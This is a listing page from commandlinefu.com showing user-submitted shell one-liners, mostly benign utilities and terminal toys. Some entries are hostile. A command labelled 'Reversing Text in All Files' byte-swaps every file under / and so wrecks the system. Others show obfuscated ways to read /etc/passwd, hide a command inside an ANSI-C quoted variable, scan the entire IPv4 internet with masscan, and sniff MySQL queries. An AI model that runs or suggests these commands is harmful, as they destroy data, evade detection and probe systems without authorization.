All commands

All commands (14,212)

sorted by

Download and Extract mp3 from Youtube Video

This will download a video when given the link and it will extract the audio from the video. The filename will be the same as the video's title. File extension in mp3.
This is sample output - yours may be different.
-1

yt-dlp --extract-audio --audio-format mp3 --audio-quality 0 -o "%(title)s.%(ext)s" <youtube_link_here>

keyboardsage · 2024-11-22 19:54:54 65
Get a random quote from Breaking Bad

Hit an API with curl returning a random quote, then parse the result with jq. Show Sample Output
This is sample output - yours may be different.
```
"A guy that clean has to be dirty." -- Hank Schrader
```
2

curl -s https://api.breakingbadquotes.xyz/v1/quotes | jq -r '.[] | "\"\(.quote)\" -- \(.author)"'

malathion · 2024-09-09 14:58:37 46
printf '%s\n' 'District 9'
This is sample output - yours may be different.
-2

echo "https://www.imdb.com/title/tt1136608/"|xargs elinks

wuseman1 · 2024-09-07 05:51:39 48
Matrix - Just 1 wobbly line rather then a rain! (shorter)

No sample. Try it and see the magic!
This is sample output - yours may be different.
1

while true; do printf "\e[32m%*s\e[0m" $(tput cols) $(shuf -e {0..1} -n $(tput cols)); sleep 0.1; done

wuseman1 · 2024-09-02 00:44:33 47
Matrix - Just 1 wobbly line rather then a rain!

Remove clear; sleep 5 and echo for not doing sample!
This is sample output - yours may be different.
0

clear; sleep 5; echo 'while :; do printf "\e[32m%*s\e[0m" $(tput cols) $(shuf -e {0..1} -n $(($(tput lines) * $(tput cols)))); sleep 0.1; done'

wuseman1 · 2024-09-02 00:40:34 54
This command will help you to hunt the current mysql query statement in real time. (-R is deprecated, using updated -Y)
This is sample output - yours may be different.
0

tshark -s 512 -i eno1 -n -f'tcp dst port 3306' -Y'<mysql.query>' -T fields -e <mysql.query>

wuseman1 · 2024-08-26 19:29:05 78
Read /etc/passwd with printf in a smarter and shorter way then some deliberately obfuscated shell commands from unethicals.
This is sample output - yours may be different.
0

eval "$(E3LFbgu='CAT /ETC/PASSWD';printf %s "${E3LFbgu~~}")"

wuseman1 · 2024-08-26 19:20:48 45
Reversing Text in All Files
This is sample output - yours may be different.
-1

find / -type f -exec dd if={} of={} conv=swab \;

wuseman1 · 2024-08-26 19:17:24 41
Portscan entire internet (ipv4)
This is sample output - yours may be different.
0

(masscan 0.0.0.0/0 -p80 --banner --exclude 255.255.255.255 --max-rate 100000|tee internet_ips_to_block_ranges.txt 2>&1 /dev/null); 1&> /dev/null

wuseman1 · 2024-08-26 19:14:02 33
In emergency situations, in order not to panic, shut down the following port on the network with the following rather then shutting down the PC.
This is sample output - yours may be different.
0

fuser -k 445/tcp

wuseman1 · 2024-08-26 19:11:03 26
Generate a correct mac addr.

1) The last sed expression ensures the unicast/multicast bit is set to zero 2) The greedy space replacements are for portability across UNIX seds Show Sample Output
This is sample output - yours may be different.
```
a0:94:47:e1:f7:59
```
0

od -An -N6 -tx1 /dev/urandom |sed -e 's/^ *//' -e 's/ */:/g' -e 's/:$//' -e 's/^$.$[13579bdf]/\10/'

wuseman1 · 2024-08-26 19:10:02 38
Launch hidden commands.
This is sample output - yours may be different.
0

/bin/bash -c "exec ls"

wuseman1 · 2024-08-26 19:08:24 48
Do we use: 'Wayland' OR 'x11' (systemd version)
This is sample output - yours may be different.
0

loginctl show-session $XDG_SESSION_ID -p Type

wuseman1 · 2024-08-26 19:07:02 24
Do we use: 'Wayland' OR 'x11'
This is sample output - yours may be different.
0

printf 'Session is: %s\n' "${DISPLAY:+X11}${WAYLAND_DISPLAY:+WAYLAND}"

wuseman1 · 2024-08-26 19:06:32 26
View emerge log by date in humand friendly time
This is sample output - yours may be different.
0

awk -F: '{print strftime("%Y-%m-%d -> %X --> ", $1),$2}' /var/log/emerge.log

wuseman1 · 2024-08-26 19:03:05 18
Find the right intel-ucode firmware for Intel GPU
This is sample output - yours may be different.
0

iucode_tool -S -l /lib/firmware/intel-ucode/*

wuseman1 · 2024-08-26 19:01:55 19
Disable Show More Options on Windows 11

Enable it again: reg delete "HKEY_CURRENT_USER\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}" /f Show Sample Output
This is sample output - yours may be different.
```
Successfully completed.
```
0

reg add "HKCU\Software\Classes\CLSID\{86ca1aa0-34aa-4e8b-a509-50c905bae2a2}\InprocServer32" /f /ve

wuseman1 · 2024-08-26 18:56:51 18
Generate a QR code in the terminal
This is sample output - yours may be different.
1

printf 'https://www.gentoo.org/' | curl -F-=\<- qrenco.de

wuseman1 · 2024-08-26 18:41:24 12
Shuffle a reversed string without new lines (Simple way to create a progress bar)
This is sample output - yours may be different.
0

while true; do slumpad_eversed=$(echo "$eversed_part" | grep -o . | shuf | tr -d '\n'); tput cr && tput el && echo -n "$r_part$slumpad_eversed" ; sleep 1 ; done

wuseman1 · 2024-08-26 18:37:43 15
Shuffle two letters randomly

Use variable: letters=("a" "b" "c" "d" "e" "f" "g" "h" "i" "j" "k" "l" "m" "n" "o" "p" "q" "r" "s" "t" "u" "v" "w" "x" "y" "z")
This is sample output - yours may be different.
0

while true; do shuffled_letter1=$(printf "%s\n" "${letters[@]}" | shuf -n 1); shuffled_letter2=$(printf "%s\n" "${letters[@]}" | shuf -n 1); printf "%s%s\r" "$shuffled_letter1" "$shuffled_letter2"; sleep 0.1; done

wuseman1 · 2024-08-26 18:36:29 43
Record a certain command output
This is sample output - yours may be different.
1

script -c "ls -la" logfile.log

wuseman1 · 2024-08-26 18:34:05 39
Test a crontab work on 5th line.

Avoid eval by creating an variable by adding this to a variable and then call it by $cmd
This is sample output - yours may be different.
0

eval "$(crontab -l | sed -n '5p' | tr -s ' ' | cut -d' ' -f 6-)"

wuseman1 · 2024-08-26 18:32:02 28
Dump all available man pages in a particular section

_Exit __clone2 _exit _llseek _newselect _syscall _sysctl accept accept4 access acct add_key ...
This is sample output - yours may be different.
1

find $(man --path | tr ':' ' ') -type f -path '*man2*' -exec basename {} \; | sed 's/\..*//' | sort

wuseman1 · 2024-08-26 18:29:40 93
Input redirection. The < character tells the shell to read the contents of the file specified. ANSI-C Quoting
This is sample output - yours may be different.
0

X=$'uname\x20-a'&&$X

wuseman1 · 2024-08-26 18:25:16 25
Input text '/etc/passwd'
This is sample output - yours may be different.
-1

xxd -r -p <<< 2f65${u}74632f706173737${u}764

wuseman1 · 2024-08-26 18:23:40 49
1 2 3 > Last ›

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

Share Your Commands

Check These Out

Display screen window number in prompt

Add this to your $HOME/.bashrc file. It will only set this prompt if it is running inside screen ($WINDOW var is set) Looks like this... $ ion@atomos:~[2]$

shell bash iterate number range with for loop

list files recursively by size

Search some text from all files inside a directory

Which processes are listening on a specific port (e.g. port 80)

swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

Which processes are listening on a specific port (e.g. port 80)

swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

Count down from 10

Countdown from 10 or whatever you want:)

What is my public IP-address?

Very effective, use only DNS protocol. The @ part is optional if you already set opendns servers as default ns servers.

Recording the desktop and an application audio source for webcast

You will have to use the sound preferences (record) to choose the audio source and set it to internal.

Import SQL into MySQL with a progress meter

This uses PV to monitor the progress of the MySQL import and displays it though Zenity. You could also do this pv ~/database.sql | mysql -u root -pPASSWORD -D database_name and get a display in the CLI that looks like this 2.19MB 0:00:06 [ 160kB/s] [> ] 5% ETA 0:01:40 My Nautalus script using this command is here http://www.daniweb.com/forums/post1253285.html#post1253285

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

» all commands
» commands with 3 up-votes (commandlinefu3)
» commands with 10 up-votes (commandlinefu10)

All commands (14,212) the last day the last week the last month all time sorted by date votes

What's this?

Check These Out

Stay in the loop…

All commands (14,212)

sorted by